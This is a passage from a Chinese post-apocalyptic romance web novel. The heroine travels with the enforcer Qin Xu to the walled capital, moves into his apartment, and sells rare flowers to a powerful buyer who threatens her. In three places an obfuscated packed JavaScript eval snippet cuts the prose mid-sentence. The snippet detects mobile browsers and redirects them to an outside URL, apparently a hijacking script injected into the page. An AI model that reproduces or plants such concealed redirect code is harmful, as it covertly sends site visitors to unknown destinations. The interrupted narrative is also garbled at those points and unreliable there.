如果有机会在都城留下，发挥更大的价值，拥有更丰富的体验，还是值得拼一拼。 —— “今天八点出门，我开车一百公里，去兴安市坐十点发车的火车。”姜望柠洗漱好，对秦叙说。 “好！听你安排。柠柠。”秦叙轻抚姜望柠的腰说。 姜望柠已经习惯了秦叙不经意间的暧昧小互动。 姜望柠把行李物品收拾好，都放在她的黑色行李箱，再请秦叙收进他的空间。对于没有空间的人来说，身在末世，不必要的物品要尽可能少，免得拖来拖去很麻烦。 叠好床铺，拖好地面，家具归置。整个房间好似回到了刚租时候的样子。 —— 这趟每周五，十点发车，连接极北雪原和都城方舟的列车，被称为雪原列车。 全车共有10节旅客车厢：1节商务车厢，2节甲等车厢，7节乙等车厢。全程要坐6小时，才到达都城最外圈。 商务座通常是有钱也买不到，位置优先预留给铁幕局派出人员。 托秦叙的福，这次姜望柠第一次坐商务座。 1节商务车厢，有12个商务座位，共三排，每排四个，左边两个相连座位和右边两个相连座位间隔着走道。 其中秦叙和姜望柠占了中间排左边相连的两席。 商务座不仅座位宽度更长，而且还有脚垫，能平放腿，极大缓解长时间车程的疲累。 两人刚刚坐定，姜望柠发现上来一位熟人，远远看到：“周凛大人，您好。” 周凛，是姜望柠到雪原的第一位引路人，是他支撑起姜望柠早期的导游业务。 周凛也是铁幕局的执法者，觉醒了水系异能【碧水密语】。 是的，姜望柠同样也拥有这个异能。 如果说姜望柠的【碧水密语】是初级阶段，那么周凛的【碧水密语】则是大师级水平。 周凛是姜望柠做导游带队的第一单客人，他后面继续给姜望柠介绍了七八单业务，间接帮助她在雪原站稳脚跟。 姜望柠站起身，望向周凛，向他点头示意。秦叙看到姜望柠的动作，顺着她的视线望去，看到了一个年轻男人，笑容满面，憨态可掬，脸颊微微小肉，约一米七五的身材，比秦叙低半个头。 在铁幕局时，秦叙跟周凛的交际不多。他们一个金属系，一个水系；一个冷淡寡言，一个热情真挚。 周凛回应了姜望柠的目光，向她走来，正好他的座位就在姜望柠旁边，位于中间排右边远离窗，两人又的座位隔着走廊。 为什么姜望柠会跟周凛有交情？他们看起来好像很熟的样子。秦叙心里泛起涟漪。 “望柠导游，早。你也去都城啊，这次准备待几天，住宿都安排好了吗？我帮你预定前线招待所吧。”周凛关心之情，溢于言表。 前线招待所，是方舟第一环线内的招待处，负责接待外地来方舟办事的执法者成员。只有吃国家饭的体系内成员才能定这里的住宿，包括铁幕局。 尽管名字含“招待所”，外表看起来普通，但内里装修低调沉稳。 尽管名字含“前线”，但位于整个中北国最安全的都城，最内部的第一环线内，拥有无可比拟的安全保障。是方舟第二环线或第三环线的住宿比不了的。 “不用费心。望柠会跟我住执法者公寓。”秦叙心里酸酸的，收回视线，抢在姜望柠前回答。 执法者公寓，是常驻方舟的执法者成员居住的大楼，距离铁幕局一个街道，同样也在第一环线内。 “哦？望柠小姐，这是，有男朋友了？”周凛顺着声音看到姜望柠身边坐着的男人，“竟然是传说中的秦叙大人。秦叙大人，您好，久仰大名，我是周凛，以前也是一线执法者，跟您同部门。现在是在水利部。” 传说中的秦叙大人，难道秦叙在同事眼中的形象这么神秘吗？ 秦叙听到同事周凛叫自己名字，蓦然站起身，眼神示意打招呼。 秦叙在铁幕局跟其他同事的相处机会不多，绝大多数时候都是自己单人出任务。对于周凛，也是仅仅知道他的名字和异能而已。今天相当于是第一次交谈。 “你好。”秦叙淡然回复。 怎么年纪轻轻就显得德高望重，人家那么热情打招呼，你就回复两个字，太傲了。姜望柠心里想。 周凛的打招呼内容，很尊重秦叙，好像是因为秦叙在铁幕局的工作地位很高。 “我就知道，姜导游并非池中物。还记得一年前，姜导游带我们去雪原腹地，找变异体，姜导游的专业服务帮我们省了不少心。对了，水利部正计划在雪原建发电站，利用冰雪势能发电，现在正在前期调研。希望望柠导游以顾问的形式参与这一阶段，有兴趣吗？”周凛转向姜望柠说。 “战线拉得太长，保密程度过高。不是我这个身份够格参与的。谢谢，下次有打变异体带路的业务再找我。”姜望柠委婉拒绝了周凛的提议。 三人坐下，车厢还有其他乘客，不便聊太多太深，便齐齐安静享受旅程。 到了十点整，列车准时发车。车辆一路驶过雪原边缘、针叶林、草地、荒废的农田、衰落的城市建筑群。 六小时的车程，姜望柠昏昏欲睡，头歪着靠在秦叙的肩膀上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467512|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。秦叙挺直坐立不动，任由姜望柠靠着。 秦叙的右手紧紧牵着姜望柠的左手，像生怕她跑了一样。 晚上六点，列车准时到站都城方舟。车站设立在方舟第三环线上。 —— 都城方舟，设有三个环形包围圈，从外到内，分别称为第三环线、第二环线和第一环线。 第三环线是直径30公里高5米的环形高压铁丝网。 第二环线是直径20公里高10米的环形钢筋混凝土墙。 第一环线是直径5公里高15米的环形纯钢墙。 三道环线，保护着所有居住在此的公民的安全。 这些信息是公开的，并被拍成宣传片，在进城的欢迎大厅显示屏反复播放。 姜望柠一年的导游生涯中，跟不少在都城生活过的猎人或执法者聊过。其实都城的三层同心圆城墙结构，不仅是空间上的分隔，物理上的防御，更是社会阶层的具象化。 越内层，越安全，地位越高，离核心越近。因为整个城市奉行“核心优先”原则，所有资源向内倾斜。 第三环线之外是不受保护的混乱区，也就是列车驶来的区域。列车轨道两侧配有高压电保护网，防止变异体或流民袭击。 第三环线到第二环线之间，称为外城区。多为棚屋或年久失修的建筑。所有试图进入方舟的流民首先在此接受观察和筛选，是潜在的劳动力补充源。人口密集，多为黑户或底层劳工。姜望柠不喜欢这个区域，因为太嘈杂太混乱，她对自己的定位是技术工人，她想要去更好的环境。 第二环线到第一环线之间，称为内城区。这里由无数座终日运转的工厂构成，是方舟的生产与制造中心。街道规划整齐，居民区单元楼遮天蔽日，生活着丰富的产业工人和工程师。这里也是姜望柠之前在都城活动的主要场所，她在内城区的商店购买物资、交换必需品。 以上两区，统称为下城区。 只有第一环线之内，方称为上城区，是中北国战时临时政府所在地。 姜望柠只去过一次上城区。之前她到都城采购，呆了两天。应周凛的邀请，以他的介绍信，落脚在第一环线内的前线招待所。很不方便，去哪里都要出示周凛的介绍信，往返内城区采购还要经过第一环线的层层审核，她嫌麻烦，后面都是直接住着内城区的酒店内，更方便。 —— 下了列车，秦叙手紧紧拉着姜望柠，穿过人流，走到贵宾高架通道。这座高20米的天空之桥，连接着第三环线和第一环线，浮在空中，每公里一个桥墩，桥下左右五百米都是围圈起来的空地。 秦叙从空间中取出一辆黑色超跑，打开副驾门，邀请姜望柠坐下，帮她系好安全带。 姜望柠闻到了秦叙耳后的发香。 秦叙坐到主驾，以60公里每小时的速度，向第一环线行驶。一刻钟后，到达目的地。 开下贵宾高架，夜晚的上城区，安静祥和。有整齐划一的路灯、宽阔的街道，甚至还有景观绿植。 开了几百米，来到一座肃穆的高楼前。 “执法者公寓，这里就是你以后的家。”秦叙对姜望柠说。 15. 执法者公寓 眼前是一栋高楼，比雪原小镇的碉堡大楼要高一倍。外立面是纯灰色，没有任何装饰，像监狱。 秦叙分别输入密码、扫描指纹，经过两层门，牵着姜望柠的手，进入一楼大厅。 没想到，内部装修却是低调奢华。一楼大厅挑高10米，视野所及，都是冰冷的大理石。 入口正对的，是一面垂直生态墙，蕨类、苔藓共同构成一小片绿野图景。 大厅的左侧，是静谧的休息区。几组低矮的红色天鹅绒沙发，环绕着黑檀木茶几。还有若隐若现的白茶檀香，飘散而来。身处其间，心自然而然平静下来。 茶几旁的书架，摆放着几本杂志，姜望柠草草瞟一眼，有《方舟时报》《变异体图鉴》《铁幕新闻速递》。 大厅的右侧，通向电梯。秦叙按下22楼，姜望柠观察到，这栋大楼共有30层电梯按钮。 22楼共有两户，秦叙的家在2201。 秦叙设置门锁密码增加程序，将姜望柠的食指按上去。设置完成后，用姜望柠的指纹解锁大门。 推开后，是一个巨大的客厅，客厅面积就有两个姜望柠在雪原碉堡大楼的1227房间那么大。 客厅正面有个巨大落地窗。上城区和内城区的万家灯火，构成一幅巨大的动态壁画。 跟姜望柠的崖壁小屋太像了，姜望柠在雪原腹地的崖壁小屋也是这样的落地窗。区别是，她的窗外景色是皑皑白雪的自然奇观，他的窗外景色是末世的都市景观。 姜望柠感叹真豪真美，正在欣赏窗外景色，猝不及防的，被秦叙推倒，压在落地窗前的长沙发上。 姜望柠坐在沙发上，双手被秦叙单手擒着，举高。秦叙双腿强势站在姜望柠两腿间。 秦叙的另一只手，缓缓抬起姜望柠的下巴，说：“你跟周凛，是什么关系？你们看起来很熟啊？” 姜望柠的脸唰一下子变通红，可惜灯还没开，他应当看不清。黑暗中，两人维持着这个奇怪且暧昧的姿势。身旁的空气仿佛要燃烧起来。 “周凛，是我当导游的第一单客人，他之后给我介绍了很多成交单。我很感谢他，如果不是他，我没办法那么快在雪原立足。”姜望柠偏过头，答。 “那你的异能【碧水密语】，为什么跟周凛的一样？我记起来了，我看过所有执法者的信息，他也是有【碧水密语】异能，能控制水。所以才被借调去水利部。怎么会这么巧合，你们有一样的异能？是他传授给你的吗？”秦叙问。 “我说出来，你可能不信。”姜望柠说。 “你先说，我能理解的。我见过各种各样的异能，几乎看不到完全相同的两种。而你们的异能名字甚至都一模一样。异能目前只有通过觉醒这一种方式才能获取。如果可以通过传授获得，那么其传授方式，将会彻底改变现状。”秦叙说。 秦叙隐瞒了他知道的一个案例。有一个女性异能者，拥有【采补摄夺】异能，她能通过与男性异能者，发生肉‖体关系，从而夺取其异能，为己所用。被夺取异能后的男性异能者，精神力衰竭，不出几天就会死亡。 这种异能损人利己，是被铁幕局明令禁止使用的。 现在姜望柠和周凛都有【碧水密语】水系异能，他们是否发生过什么？为什么周凛还没有死？是不是还有其他异能传授方式？ “我看到周凛用水系异能，把地上的落雪凝练成冰锥，刺穿变异体的心脏。我们学过物理的，这是最基础的知识点，水的三态变化。他把水从液态变成固态，修个锋利的形状，赋予初始加速度。让蓬松的雪，以坚硬的冰锥高速刺穿。”姜望柠说：“然后我就想，不就是水的凝固和物体加速嘛。我想试试看，自己能不能做到，一试发现竟然可以。但是实施范围和力度与周凛相比，区别太大。他可以同时控制几十个冰锥以极高速度运动，我只能控制一拳头大小的水凝固，暂时还给不了速度。” 听完姜望柠的陈述，秦叙解开她的双手，皱起的眉眼稍稍放松，说：“你的意思是，你有【领悟】异能？” “什么【领悟】异能？我不知道。”姜望柠说。 “【领悟】异能，顾名思义，就是一旦你能领会一种异能实施的底层科学或玄学逻辑，就能使用它。当然力道还需要经过千百次的训练，才能达到高级别。你现在的水系异能还只是初级水平。”秦叙说。 “我谢谢你提醒啊。【领悟】要真这么厉害的话，我怎么没学会你的【鸣金絮语】呢？操控金属，比操控冰雪，酷多了。”姜望柠说。 “可能是操控金属，涉及到自由电子和能级跃迁，理论太晦涩难懂，以你的物理水平理解不了。不过没关系，我会让你懂的。”秦叙说。 “我再次谢谢你提醒啊。可以别这么压着了吗，今天赶路一天，我要洗澡，我好困，我要睡觉休息。”姜望柠说。 “好啊。这里只有一间房，我们还是睡一起。”秦叙放开姜望柠说。 这么大的房子，竟然只有一间卧室。唯一的卫生间，也在卧室里面。 卧室也是通体灰色调。一米八大床上，铺设灰色真丝四件套。 “我不喜欢睡真丝床，真丝贴着皮肤冷，滑溜。有没有长绒棉、水洗棉或者天竺棉的四件套”姜望柠问。 “没有。你想要的话，明天自己去买。今晚只有这个。”秦叙回。 卧室左侧是飘台和窗户。飘台上是冰冷的有纹路的大理石，窗户也能看到远处的第一环线的灯光带。 进入卫生间，一个靠在窗边的巨大浴缸吸引了姜望柠。“我可以泡澡吗？”姜望柠问。 大海啸以后，姜望柠在雪原小镇，能每天淋浴，已经是很不错的生活条件。 尽管在雪原腹地的崖壁小屋，装有浴缸，但只有大太阳暴晒一整天后，才能攒满一缸热水，阳光不够，姜望柠很少在那泡。 而外城区多少人只能一周洗一次澡。相比之下，姜望柠的物质生活条件，非常舒服。 现在有一个浴缸摆在她面前，在能源充足的都城中心，热水肯定是要多少有多少。她心里只有一个想法：“我要泡澡，我要全身都浸在热水里面。” “不用征求我的同意。这里就是你的家，你想干什么都可以。”秦叙笑着说。 姜望柠倒不客气，马上给浴缸打泡沫冲冲内壁。关掉漏水口，水位逐渐上升，氤氲的热气将整个卫生间染上一层烟雾朦胧。 姜望柠关上卫生间门，脱掉外套和内衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469847|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，将衣服放在洗漱台上，缓步迈入浴缸。当身体慢慢浸入热水中，一股温暖而有力的支撑感瞬间包裹她每一寸肌肤。 姜望柠坐着，腿伸直，热水水面刚刚好到脖子以下。 大海啸以前，姜望柠结婚后，和丈夫一起拥有过一间房子。那是他们爱的小巢，面积不大，却也有浴缸。因为姜望柠喜欢泡澡，特意要求装浴缸。 现在，姜望柠好像又回到那个时候。 只是，一种难以言喻的酸涩涌上心头。 自己是不是因为，能有无限量热水的浴缸泡，能有普通人订不到的商务座坐，才选择跟秦叙走的呢？ 交出部分自由，依附于一个强大但可能危险的执法者秦叙。 姜望柠不是不能工作，她做导游，也可以维持基本生活质量。但在这一会，短短见识了秦叙体面的生活环境之后，不免心生渴望。 浴缸和商务座，就是这种体面生活最具体的证明。它们照亮了在末世操劳中浸泡太久的她，让她清晰地意识到，跟秦叙一起生活，不仅能活下来，还能像个人一样很舒服地活下来。 姜望柠闭眼泡澡中，卫生间的门被推开。秦叙也进来了。 他一件一件脱掉衣服，放在姜望柠衣服的旁边。直到□□。姜望柠第一次看到这样的秦叙，像在欣赏一场养眼的表演。 他立在浴缸旁，顶灯的光线斜打下，在他起伏的肌体上，切割出明暗交错的轮廓。 肩与背是倒三角形，斜方肌与背阔肌如同展开的翼，宽厚而坚实，勾勒出极具压迫感的背影。 顶光穿过他的腰脊，那里没有一丝赘肉，紧窄而充满爆发力，像蓄势待发的弓。 大腿的肌肉群强壮而饱满，仿佛石柱，稳稳地支撑着全身的重量。 没有衣物的遮蔽，男性力量赤裸地呈现着，沉浸在一种全然松弛的氛围里。 “你想干嘛？”姜望柠说。 “我想干嘛？这不是显而易见嘛。我跟你一起泡。我还从没在这里泡过澡。”秦叙一手撑着姜望柠的肩，抬腿迈入浴缸。 秦叙把姜望柠往前推，他坐在姜望柠后面，前胸贴着姜望柠后背，双腿岔开包裹着姜望柠的双腿。水溢出，撒在地面。 “你还别说，这样的确挺舒服的。”秦叙抱着前面的姜望柠说。 “这里，是只有你一个人住吗？”姜望柠问。 30层楼，每层2户。除一楼没有住户，说明整栋楼共有58名跟秦叙差不多铁幕局执法者。 这个屋子，会有女主人吗？ “只有我住。我也不常来，因为经常在外执行任务。我也只是暂住，有业绩要求的。如果完不成，这屋子也可能被收回。”秦叙倒不掩饰。 中北国的所有房屋，所有权都归国家所有，统一分配。居民只有居住权、租住权。 两人泡半个小时，赶路半天的的疲累被消解。 姜望柠率先起身，身材的曲线和白皙的肌肤尽显，身上水滴低落。 秦叙随后也起身，拿起毛巾，帮姜望柠擦干身体。用吹风机吹干她的头发。 秦叙横抱起姜望柠，放在大床上。照例是抱着，一夜安眠。 什么时候才会跨越那一层呢？ 16. 副业 姜望柠在都城有一个副业。她每个月来都城一次，除了采购必备的生存用品外，还有一项重要任务，就是卖寒冰昙花，这也算是她的收入来源之一。 寒冰昙花生长在林海雪原的杉树树枝上，据说服用后，可以容颜常驻、镇定精神、令人心情愉悦。 姜望柠没有尝试过，对她来说就是一根草而已。她只知道这玩意很受都城人喜欢，能卖到10万信标一颗。 于是但凡深入雪原腹地，她都会用【溯息】异能搜寻寒冰昙花的气息。如果距离不远，就多走两步，用特制的容器收入囊中，一个月攒10颗左右。带到都城找中介回收，能卖1万信标一颗。 尽管中介回收价跟市场价相差十倍，但她也没有办法，毕竟自己只负责供货，没有销售渠道。 中介能卖到10万一颗，那也是别人的销售本事。她只拿属于自己的那部分。 住到执法者公寓的第二天清晨，秦叙要出门。姜望柠准备把这次带过来的10株寒冰昙花，拿到内城区找相熟的中介回收。 秦叙很早就起床，说：“我要出去办事，这是我的通行证副卡。有了它，你可以去都城任何想去的地方，只要不是禁地。今晚早点回。”秦叙亲吻还在装睡的姜望柠，把通行证副卡放在床边。 秦叙走后，姜望柠马上洗漱完，穿好衣服，带着通行证副卡和10株寒冰昙花出门。 白天的上城区，一尘不染、窗明几净，绿化带修剪得一丝不苟，像是被尺子量过。上城区的所有建筑整齐排列，像棋盘格。 路过的人，都穿着笔挺的制服，不约而同望向穿着冲锋衣的姜望柠。姜望柠感觉自己在这里格格不入。 上城区没有公共交通工具，姜望柠一边问路一边走，走了半小时，到达第一环线。眼前的高墙，即使抬着头也望不到顶。 姜望柠出示秦叙给的通行证副卡，顺利跨过第一环线，从上城区进入到内城区。 相比起上城区的庄严肃穆，内城区则显得烟火气十足。 内城区有出租摩的，姜望柠抬手招了一辆，对摩的小哥说：“去金洲大道。” 摩的弯弯绕绕，行驶十几分钟后，把姜望柠放在金洲大道头。“客人一共1千信标，谢谢。”摩的小哥说。姜望柠爽快转钱。 金洲大道是内城区经济最繁荣的街道，姜望柠的中介在这里开店，她也在这条街买必备生活用品。 姜望柠走进一条分叉路，走上楼梯，到一间隐蔽的二楼小店门口，店旁挂着竖写的“墨莲保健养生”招牌。 墨莲是老板名，姜望柠通常叫她墨姨。 店内光线明亮，商品陈列有序，货架干净整洁，看得出来是付出了很多心血维护。 买东西是老客预约制，要加老板联系方式，沟通需要的商品和成交价格，再到店交钱取货。 店面只起到拍照展示宣传作用。直接到店且没有老客介绍的新客是不予接待的。 因此店里不设店员，只有一个按铃，铃铛一响，身在内间的墨莲听到就会出来。 “墨姨，早。这次带了10株寒冰昙花。”姜望柠按下按铃，见到一位干练利落高大的女士从门帘后走出来，眼圈带着一周黑色，鱼尾纹袒露岁月的痕迹。 “小柠檬，你终于来了，可把你盼来了。”墨莲说。因为姜望柠名字后面有个“柠”字，所以墨莲以“小柠檬”称呼她：“太好了。寒冰昙花断货好久了。你运气真好，最近寒冰昙花市价看涨，这次给你2万一株收。” 之前1万卖给墨莲，她卖10万。 现在她给2万收，有可能一株寒冰昙花的市价已经涨到20万信标一株。 姜望柠不想讨价还价，墨莲说多少就是多少。她把所有寒冰昙花放在柜台上。 10万或20万，对她来说，都值得。毕竟自己也不用多花精力，是顺带搜集的。这点钱完全是额外的收获。 “好。谢谢老板。”姜望柠致谢。 “对了，刚好今天你送来了，我正好趁新鲜去给之前预定了寒冰昙花的客人送货。客人对你很感兴趣，希望下次你跟我一起去，客人对一个女孩子在雪原搜集寒冰昙花的经历很好奇。”墨莲说。 “这不合适吧。首先我只负责供货，客户维护不是我的服务范围。其次，您就不怕我跟客户绕过您私下交易吗？于情于理，我都不该见客户。”姜望柠说。 “瞧你说的，墨姨是那么小气的人吗？我的意思是，如果你跟客户聊得来，客户喜欢你，喜欢你带来的东西，说不定以后会有稳定合作，分成都是可以谈的。这是赚钱的好机会。”墨莲说。 一听到赚钱，姜望柠就按赖不住。不就是见一面嘛，再不济也只是保持现有的状态。 “好。不过最好能在中午前结束。”姜望柠说。 “行。”墨莲说。 —— 墨莲把店面关上门，带着姜望柠坐上她的车，一辆粉色轿车。在千篇一律的黑白灰交通工具中，显得格外引人注目。 粉车从内城区出发，顺利通过第一环线的安检门，进入上城区。 人进出第一环线，都要经过层层检验。 墨莲的车却能自由进入，说明要么墨莲的实力深不可测，要么那位买寒冰昙花的客户背景很深。 没想到一大早刚出上城区，不出一小时又回来了。 这次粉车载着姜望柠驶向上城区的别墅区。 原本昨天看到秦叙住的执法者大楼已经很震惊了。现在看到寸土寸金的上城区，竟然还有大片别墅，究竟何等尊贵的人才能住这里。 粉车停在一栋四层小楼别墅前，墨莲和姜望柠一起下车。墨莲提前交代说：“客户是铁幕局局长之女。你之前提供的寒冰昙花，都是她买的。务必恭敬态度好。” “没问题。我服务态度嘎嘎好。”姜望柠回。本质上来说，导游也是服务行业。 一进门，姜望柠怔住了，秦叙怎么也在这里？姜望柠一眼就看到了他。 姜望柠在车上准备的攻略客户的思路被打断。现在她满脑子都是，秦叙怎么会在这里？ 这栋别墅住的是铁幕局局长之女，她买了姜望柠供应的所有寒冰昙花。秦叙和她之间是什么关系？秦叙知道寒冰昙花的事情吗？ “傅小姐，感谢您今天有空接待。正好我们的供应商来送货，特意带她来见您。”墨莲将10株新鲜的寒冰昙花摆在茶几上，说：“请允许我荣幸为您介绍，来自雪原的姜望柠。姜望柠是雪原最好的山货采集人。她的货是同类型里，质量最高的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472442|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您之前看中买的寒冰昙花，花瓣又大又水润，根系强劲，都是由她采集而来。” 此刻，墨莲和姜望柠一前一后站立，都面对着傅小姐。傅小姐端坐在单人沙发上，秦叙站在单人沙发侧后方。 秦叙此刻，是以什么身份站在傅小姐身后？是她的保镖？还是她的谈判顾问？亦或是来审判姜望柠非法采集野生植物罪行的？ 姜望柠在雪原采集寒冰昙花拿到都城售卖，本身是个擦‖边行为。一是采集量少，二是无人追究。毕竟国家忙着打变异体和搞建设，没空分散精力整治这些交易灰色地带。 此刻，在场另外三人的目光都聚集在姜望柠身上。姜望柠不敢抬头，防止跟秦叙望对眼。秦叙的眼神尤其值得玩味，豁然开朗中又带着一丝焦虑。 姜望柠选择直视傅小姐：“傅小姐，谢谢您选择我的产品。”这是很打工人的套路回复：“不知道还有什么能为您做的？” “姜小姐，我想要找你定更多寒冰昙花，至少100株。你拿来多少我都要，价格好商量。”傅小姐说。 姜望柠从半年前，开始向墨莲老板供应寒冰昙花，每个月10株，到现在大约供应了60株。现在傅小姐开口就要100株。 姜望柠不理解，寒冰昙花的功效，竟然有那么神奇，值得囤这么多。不就是一个美容、一个舒缓镇定嘛，搞得跟毒‖品一样。 这些有身份有地位的千金小姐，不加节制，喜欢什么就要竭泽而渔。反正她有的是钱，只要稍微洒洒水，就有无数人鞍前马后为她鞠躬尽瘁。 姜望柠作为末世时代的自由打工人，接任务全凭有没有意思，想不想做。采集100株寒冰昙花，是纯粹的机械重复操作，没有任何技能进益，姜望柠最讨厌这种无聊的流水线工作。 “傅小姐，不好意思，我办不到。每个月10株已经是我能搜寻的极限，再多我也找不到。而且现在雪原边缘的寒冰昙花，几乎已经不可见。说不定以后连每月10株的供应都有点悬。”姜望柠说。 “我不管！边缘没有，那就去里面找。雪原那么大，你一定有办法。如果找不来，我身后这位秦叙大人，想必你一定听说过，我会让他以非法采集罪将你逮捕。”傅小姐说。 这是先礼后兵，先尊重后恐吓，原来这就是秦叙在场的意义。 姜望柠怎么可能没听说过秦叙大人，今天早上他还吻了她。 秦叙啊秦叙，原来你只是上层的走狗，专门被用来干这种脏活的啊。 现场气氛顿时降到冰点。墨莲率先打破僵局。 “傅小姐，话不是这样说的。我们做这行，最忌讳过河拆桥，您要是这么威胁，那就没意思了。除了她，其他人找来的寒冰昙花您又看不上。只有她能满足您的要求。您别无选择。”墨莲说。尊重中带着不由质疑的尊严。 “最烦你们这些，不就是钱嘛。墨姨，姜望柠，如果你们能给我带来100株寒冰昙花，我就给你们一人一千万信标。带不来的话，我有的是办法让你们难受。”傅小姐说。 秦叙两个月工资是100万信标，对姜望柠来说是巨款，毕竟已经是她一年导游的收入。现在有个1000万信标的大单摆在姜望柠面前，相比之下，秦叙的两个月工资，竟然显得有些微薄。